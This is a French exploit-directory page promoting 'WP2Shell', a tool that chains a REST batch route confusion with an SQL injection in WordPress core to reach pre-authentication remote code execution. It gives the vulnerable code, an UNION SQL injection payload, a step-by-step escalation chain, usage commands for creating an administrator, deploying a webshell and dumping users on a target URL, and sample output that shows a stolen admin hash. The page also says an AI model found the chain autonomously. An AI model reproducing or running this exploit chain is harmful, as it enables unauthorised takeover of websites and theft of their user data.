Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-63030 — WordPress Core RCE pré-auth via confusion de route du batch REST + injection SQL (CVE-2026-63030 + CVE-2026-60137) | Kitploit
Outils/GitHubGitHub/shinthink/cve-2026-63030
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubshinthink/cve-2026-63030

CVE-2026-63030

WordPress Core RCE pré-auth via confusion de route du batch REST + injection SQL (CVE-2026-63030 + CVE-2026-60137)

Voir le dépôt
il y a 27 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-63030 + CVE-2026-60137 — WP2Shell

RCE Pré-Authentification du cœur WordPress via Confusion de Route Batch REST + SQLi


Aperçu

CVE-2026-63030 (CVSS 9.8) et CVE-2026-60137 (CVSS 9.1) forment une chaîne critique d'exécution de code à distance sans authentification dans le cœur de WordPress. Les vulnérabilités affectent toutes les installations WordPress par défaut versions 6.9.0–6.9.4 et 7.0.0–7.0.1.

La chaîne a été découverte de manière autonome par GPT-5.6 Sol Ultra (OpenAI) en un peu plus de 10 heures pour un coût d'environ 25 $ — une classe de vulnérabilités valorisée à 500 000 $ sur les marchés de courtage d'exploits.

Un attaquant non authentifié atteint l'exécution de code à distance via :

  1. Confusion de route batch REST (CVE-2026-63030) — désynchronisation des tableaux internes gestionnaire-requête de WordPress
  2. Injection SQL via author__not_in (CVE-2026-60137) — contournement de l'assainissement absint() avec une chaîne scalaire
  3. Empoisonnement du cache par UNION SELECT — forge de 7 faux objets WP_Post en mémoire
  4. Persistance oEmbed — transformation d'une injection SQL en lecture seule en écritures réelles en base de données
  5. Détournement de customize_changeset — emprunt temporaire de l'identité d'un administrateur
  6. Réentrée dans le hook parse_request — rejeu de l'API REST avec des privilèges élevés
  7. POST /wp/v2/users en tant qu'administrateur — création d'un nouveau compte administrateur

Installations actives : 472+ millions (43 % de tous les sites web)
Découvert par : GPT-5.6 Sol Ultra via Adam Kues (Searchlight Cyber), juillet 2026
Preuve de concept de la chaîne : Mustafa Can İPEKÇİ (nukedx)
Correctif : WordPress 6.9.5 / 7.0.2 / 6.8.6 (17 juillet 2026)

Versions affectées

BrancheVulnérableCorrigée
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2
6.8.xSQLi uniquement (CVE-2026-60137)6.8.6

Mécanisme de la vulnérabilité

Cause racine 1 : Confusion de route batch (CVE-2026-63030)

Le processeur batch REST de WordPress (serve_batch_request_v1) maintient deux tableaux : $validation[] (résultats de validation) et $matches[] (gestionnaires de route). Lorsque wp_parse_url() échoue sur un chemin malformé (///), un WP_Error est poussé dans la chaîne de validation mais pas dans la chaîne de correspondance de route :

root@kitploit:~
// class-wp-rest-server.php
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
    $requests[] = new WP_Error( 'parse_path_failed', ... );
    continue;  // ← SAUTE $matches[] — désynchronisation d'un index
}

L'exploitation utilise des appels batch imbriqués (récursifs) pour contourner à la fois les restrictions de méthode et l'assainissement des paramètres.

Cause racine 2 : Injection SQL via author__not_in (CVE-2026-60137)

WP_Query n'applique l'assainissement absint() qu'à l'intérieur de la branche is_array(). Lorsque author__not_in arrive sous forme de chaîne scalaire, l'assainissement est complètement ignoré :

root@kitploit:~
// class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );  // UNIQUEMENT si tableau
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );  // scalaire passe brut
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";     // INJECTION SQL
}

Charge utile : 0) UNION ALL SELECT ...-- - ferme la liste NOT IN et ajoute du SQL arbitraire.

Chaîne d'escalade

root@kitploit:~
[1] Désynchronisation batch → contournement des vérifications d'authentification et de paramètres
[2] UNION SELECT → forge de 7 faux objets WP_Post dans le cache
    ├─ Déclencheur de post — shortcode [embed]
    ├─ Post de changeset  — post_type=customize_changeset, post_status=future
    ├─ Partenaire externe — post_parent=changeset (Boucle 1)
    ├─ Cible oEmbed      — sauvegarde du cache
    ├─ Élément de menu   — post_type=nav_menu_item
    ├─ Post de requête   — post_type=request, post_status=parse (Boucle 2)
    └─ Partenaire interne — post_parent=request
[3] Traitement oEmbed → wp_update_post() → détection de cycle de hiérarchie
[4] Correction boucle 1 → écrit le changeset en base sans écraser post_content
[5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id)
[6] Correction boucle 2 → écrit le post de requête → do_action("parse_request")
[7] rest_api_loaded() → serve_request() → batch rejoué en tant qu'ADMIN
[8] POST /wp/v2/users → création d'un administrateur

Prérequis pour l'exécution de code à distance complète


Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63030.git
cd CVE-2026-63030
pip3 install -r requirements.txt  # ou : rien — stdlib uniquement

Utilisation

root@kitploit:~
# Chaîne complète — créer un compte administrateur (sans authentification)
python3 cve_2026_63030.py --url https://target.com

# Vérification uniquement (non destructrice — vérifier la vulnérabilité)
python3 cve_2026_63030.py --url https://target.com --check

# Chaîne complète + déploiement d'un webshell RCE
python3 cve_2026_63030.py --url https://target.com --rce id

# Extraire tous les utilisateurs via UNION
python3 cve_2026_63030.py --url https://target.com --dump-users

Sortie

root@kitploit:~
+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  https://target.com
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Desync confirmed (markers: parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi — database reconnaissance
  [+] Database version  : 8.0.46
  [+] Database user     : wp_user@localhost
  [+] Database name     : wordpress_db
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash        : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [6, 7, 8]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_a1b2c3d4  password: Wp2!e5f6g7h8i9j0

+======================================================================+
|  EXPLOITATION COMPLETE                                               |
+======================================================================+
  Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
  Login : https://target.com/wp-login.php

Fichiers

FichierObjectif
cve_2026_63030.pyExploit ciblant une seule cible (zéro dépendance)
requirements.txtDépendances Python (aucune requise)

Références

  • SLCyber — Article de découverte par GPT-5.6 Sol
  • WordPress.org — Publication de sécurité
  • Wiz — Exploitation dans la nature
  • Tenable — FAQ

Avertissement

Pour les tests de sécurité autorisés et la recherche éducative uniquement. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.

Télécharger l’outil
PrérequisPourquoi ?Par défaut ?
Au moins 1 article publiéAlimente le cache oEmbed avec des URL de boucle de retour✅ « Hello World »
Aucun cache d'objets persistantLes lignes UNION ne doivent pas être écartées par split_the_query✅ Cache fichier
API REST accessibleLa réentrée via parse_request a besoin du serveur REST✅
Écriture directe dans le système de fichiersLe téléchargement de plugin nécessite FS_METHOD=direct✅ La plupart des hébergeurs